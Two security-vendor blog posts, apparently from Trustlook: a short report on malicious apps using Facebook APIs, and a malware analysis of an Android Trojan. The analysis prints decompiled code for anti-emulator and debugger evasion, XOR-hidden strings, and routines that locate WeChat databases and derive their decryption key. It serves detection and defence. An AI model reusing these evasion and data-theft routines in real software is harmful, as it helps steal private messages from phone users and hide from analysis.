25,936 Malicious Apps Use Facebook APIs

Trustlook has identified 25,936 malicious apps that are currently using one of Facebook’s APIs, such as a login API or messaging API. (The list of MD5s can be found here.) App developers, when using these APIs, are able to obtain a range of information from a Facebook profile—things such as a name, location, and email address.

The Cambridge Analytica data-harvesting scandal was mainly a result of developers abusing the permissions associated with the Facebook Login feature. When people use Facebook Login, they grant the app’s developer a range of information from their Facebook profile. Back in 2015, Facebook also allowed developers to collect some information from the friend networks of people who used Facebook Login. That means that while a single user may have agreed to hand over their data, developers could also access some data about their friends. Needless to say, this realization among Facebook users has caused a huge backlash.

Trustlook discovered the malicious apps within its SECUREai App Insights product, which continuously scans apps from across the world, and provides more than 80 pieces of information for each app, including permissions, libraries, risky API calls, network activity, and a risk score. This allows app store owners, app developers, and researchers to make informed decisions when assessing the risk of an app. SECUREai App Insights is currently securing three of the top five app stores in the world.

To be fair, Facebook is not the only company with its APIs embedded in malicious applications. Twitter, LinkedIn, Google, and Yahoo offer similar options to developers, and thus their user data faces similar exposure. All of these companies need to remain diligent about what user information is being granted to apps.

For more information on SECUREai App Insights, please visit www.trustlook.com.

 

Android-Malware

A Trojan with Hidden Malicious Code Steals User’s Messenger App Information

Trustlook Labs has discovered a Trojan which obfuscates its configuration file and part of its modules. The purpose of the content/file obfuscation is to avoid detection.

The malware has the following characteristics:

  • MD5: ade12f79935edead1cab00b45f9ca996
  • SHA256: 1413330f18c4237bfdc523734fe5bf681698d839327044d5864c9395f2be7fbe
  • Size: 1774802 bytes
  • App name: Cloud Module (in Chinese)
  • Package name: com.android.boxa

The malware uses the anti-emulator and debugger detection techniques to evade dynamic analysis.

public class a {
    public a() {
        super();
        if(!h.a() && (a.b())) {
            String v0 = "emulator\n";
            if(Environment.getExternalStorageState().equals("mounted")) {
                try {
                    File v2 = new File(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath()) + "/loge.txt");
                    if(!v2.exists()) {
                        v2.createNewFile();
                    }

                    String v1 = String.valueOf(new SimpleDateFormat("yyyyMMddHHmmss", Locale.CHINA).format(new Date(System.currentTimeMillis()))) + ":";
                    FileOutputStream v3 = new FileOutputStream(v2, true);
                    v3.write(v1.getBytes());
                    v3.write(v0.getBytes());
                    v3.close();
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            }

            Process.killProcess(Process.myPid());
            System.exit(1);
        }
 []
    private static boolean b() {
        boolean v0_1;
        boolean v1 = false;
        try {
            v0_1 = a.c();
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_1 = false;
        }

        if((Debug.isDebuggerConnected()) || (v0_1) || (a.a.b.a()) || (a.a.b.b())) {
            v1 = true;
        }

        return v1;
}
[]
  static {
        b.a = new String[]{"/dev/socket/qemud", "/dev/qemu_pipe"};
        b.b = new String[]{"/sys/qemu_trace", "/system/bin/androVM-prop", "/system/bin/microvirt-prop", "/system/lib/libdroid4x.so", "/system/bin/windroyed", "/system/bin/microvirtd", "/system/bin/nox-prop", "/system/bin/ttVM-prop", "/system/bin/droid4x-prop", "/data/.bluestacks.prop"};
        a[] v0 = new a[]{new a("init.svc.vbox86-setup", null), new a("init.svc.droid4x", null), new a("init.svc.su_kpbs_daemon", null), new a("init.svc.noxd", null), new a("init.svc.ttVM_x86-setup", null), new a("init.svc.xxkmsg", null), new a("init.svc.microvirtd", null), new a("ro.kernel.android.qemud", null), new a("androVM.vbox_dpi", null), new a("androVM.vbox_graph_mode", null), new a("ro.product.manufacturer", "Genymotion"), new a("init.svc.qemud", null), new a("init.svc.qemu-props", null), new a("qemu.hw.mainkeys", null), new a("qemu.sf.fake_camera", null), new a("qemu.sf.lcd_density", null), new a("ro.bootloader", "unknown"), new a("ro.bootmode", "unknown"), new a("ro.hardware", "goldfish"), new a("ro.kernel.android.qemud", null), new a("ro.kernel.qemu.gles", null), new a("ro.kernel.qemu", "1"), new a("ro.product.device", "generic"), new a("ro.product.model", "sdk"), new a("ro.product.name", "sdk"), new a("ro.serialno", null)};
    }

The malware attempts to hide the strings to avoid being detected. For example, the following strings are stored in arrays and are XOR encrypted with 24 to get the real strings:

g.a(new byte[]{117, 97, 80, 119, 107, 108}); //myHost
g.a = g.a(new byte[]{117, 97, 116, 113, 122}); //mylib
g.a(new byte[]{55, 104, 106, 119, 123, 55, 123, 104, 109, 113, 118, 126, 119}); ///proc/cpuinfo
g.a(new byte[]{121, 121, 106, 123, 112, 46, 44}); //aarch64
g.b = g.a(new byte[]{124, 121, 108}); //dat
g.c = g.a(new byte[]{119, 96});ox
g.d = g.a(new byte[]{113, 118, 126, 54, 94, 121, 123, 125, 81, 118, 107, 108, 121, 118, 123, 125}); //inf.FaceInstance
g.e = g.a(new byte[]{54, 114, 121, 106}); // .jar
g.f = g.a(new byte[]{116, 123, 54, 124, 121, 108}); // lc.dat
g.a(new byte[]{124, 125, 122, 109, 127, 54, 108, 96, 108}); // debug.txt
g.g = g.a(new byte[]{109, 118, 113, 118, 107}); //unins

The malware also includes some modules in its Assets folder, and all the modules are encrypted.

image2

For some modules, including “coso”, “dmnso”, “sx”, “sy”, the malware uses the first byte in the module to XOR decrypt the data. For example, take notice of the original module “coso” in the Assets folder:

image4

After decryption, it turns out an ELF module:

image3

The lc.dat is the configuration file, which is XOR decrypted with 137. For example:

image6

After decryption:

image5

The configuration file contains the C&C server and other values that the malware uses to contact its controller. An example request sent by the malware is shown below:

image1

If the Android SDK version is less than 16, the malware loads “sy” module from Assets, otherwise it loads “sx” module. These modules attempt to modify the “/system/etc/install-recovery.sh” file to maintain persistence on the device.

It also has functions to steal the user’s messenger app information. The malware collects information from the following apps:

  • Tencent WeChat
  • Weibo
  • Voxer Walkie Talkie Messenger
  • Telegram Messenger
  • Gruveo Magic Call
  • Twitter
  • Line
  • Coco
  • BeeTalk
  • TalkBox Voice Messenger
  • Viber
  • Momo
  • Facebook Messenger
  • Skype

The following code snippets are used to retrieve data from WeChat:

v4 = a3;
  v5 = a1;
  v13 = a4;
  v6 = a2;
  j_memset(&v16, 0, 0xFFu);
  j_sprintf(&v16, "/data/data/com.tencent.mm/MicroMsg/%s/cdndnsinfo", v6);
  v7 = sub_107A0((int)&v16);
  *v4 = v7;
  if ( !v7 )
  {
    j_strcpy(&v16, "/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");
    *v4 = sub_10F98((int)&v16);
  }
  j_memset(&v17, 0, 0x200u);
  j_memset(v15, 0, 0x10u);
  if ( j_strlen(v5) <= 4 )
    j_strcpy(v5, (const char *)&unk_5E688);
  j_sprintf(&v17, "%s%d", v5, *v4, v13);
  v8 = j_strlen(&v17);
  sub_106FC(&v17, v8, (int)v15);
  v9 = 0;
  do
  {
    v10 = (unsigned __int8)v15[v9];
    v11 = v14 + 2 * v9++;
    j_sprintf(v11, "%02x", v10);
  }
  while ( v9 != 16 );
  j_sscanf();
  return 0;
}
[]
j_sprintf(&v102, "/data/data/%s/files/libmmcrypto.so", &unk_5E6BA);
  j_chmod(&v103, 511);
  j_memcpy(&v98, &unk_54E77, 0x21u);
  j_memset(v99, 0, 0xDEu);
  j_strcat(&v98, (const char *)&unk_5E6BA);
[]
  j_strcat(&v98, "/files/%u.sql'");
  j_sprintf(&v109, &v98, &v103, &v102, &v100, v4, &v42, v5, &v109, &v102);
  j_memset(&v104, 0, 0x200u);
  v105 = 1836409902;
  v106 = 112;
  j_memset(&v107, 0, 0x1F8u);
  j_sprintf(&v104, "%s/%u.sql", &unk_5E624, v5);
  j_strcat((char *)&v105, (const char *)&v104);
  j_memcpy(&v94, &unk_54F76, 0x1Cu);
  j_memset(&v95, 0, 0x48u);
  j_memcpy(&v96, &unk_54FDA, 0xDu);
  j_memset(v97, 0, 0x57u);
  j_strcat(&v96, v4);
  j_strcat(&v96, "\";");
  v7 = &v103;
  v8 = &v102;
  v11 = &v94;
  v9 = &v100;
  v12 = &v105;
  v10 = &v96;
  sub_DC64(6, &v7);
  j_chmod(&v104, 511);
  j_memset(&v108, 0, 0x200u);
  j_sprintf(&v108, "%s/sns.db", &unk_5E624);
  sub_E7D0(&v101, &v108);
  j_chmod(&v108, 511);
  j_printf("szsqlite:%s\n", &v103);
  j_printf("szlibmmcrypto:%s\n", &v102);
  j_printf("szDBPath:%s\n", &v100);
  j_printf("szPRAGMAkey:%s\n", &v96);
  return j_printf("sqlDbPath2:%s\n", &v105);
[]
v10 = a1;
  result = j_opendir("/data/data/com.tencent.mm/MicroMsg");
  v2 = result;
  if ( result )
  {
    v9 = 0;
    while ( 1 )
    {
      v4 = j_readdir(v2);
      v5 = v4;
      if ( !v4 )
        break;
      v3 = (const char *)(v4 + 19);
      if ( j_strcmp(".", (const char *)(v4 + 19)) )
      {
        if ( j_strcmp("..", (const char *)(v5 + 19)) )
        {
          if ( sub_E8A0("/data/data/com.tencent.mm/MicroMsg", v5) )
          {
            j_memset(&v13, 0, 0xFFu);
            j_sprintf(&v13, "%s/%s/EnMicroMsg.db", "/data/data/com.tencent.mm/MicroMsg", v3);
            if ( !j_access(&v13, 0) )
            {
              j_memset(&v14, 0, 0xFFu);
              j_sprintf(&v14, "%s/%s", "/data/data/com.tencent.mm/MicroMsg", v3);
[]
              {
                j_strcpy(v10, v3);
                v9 = v8;
              }
            }
          }
        }
      }
}


Summary
Code obfuscation/hiding increases the malware author’s ability to avoid detection and becomes a sophisticated challenge to anti-virus software. Trustlook was able to gather deep insights and knowledge of the malware behavior of this kind of malware. Trustlook’s anti-threat platform can effectively protect users against this invasion.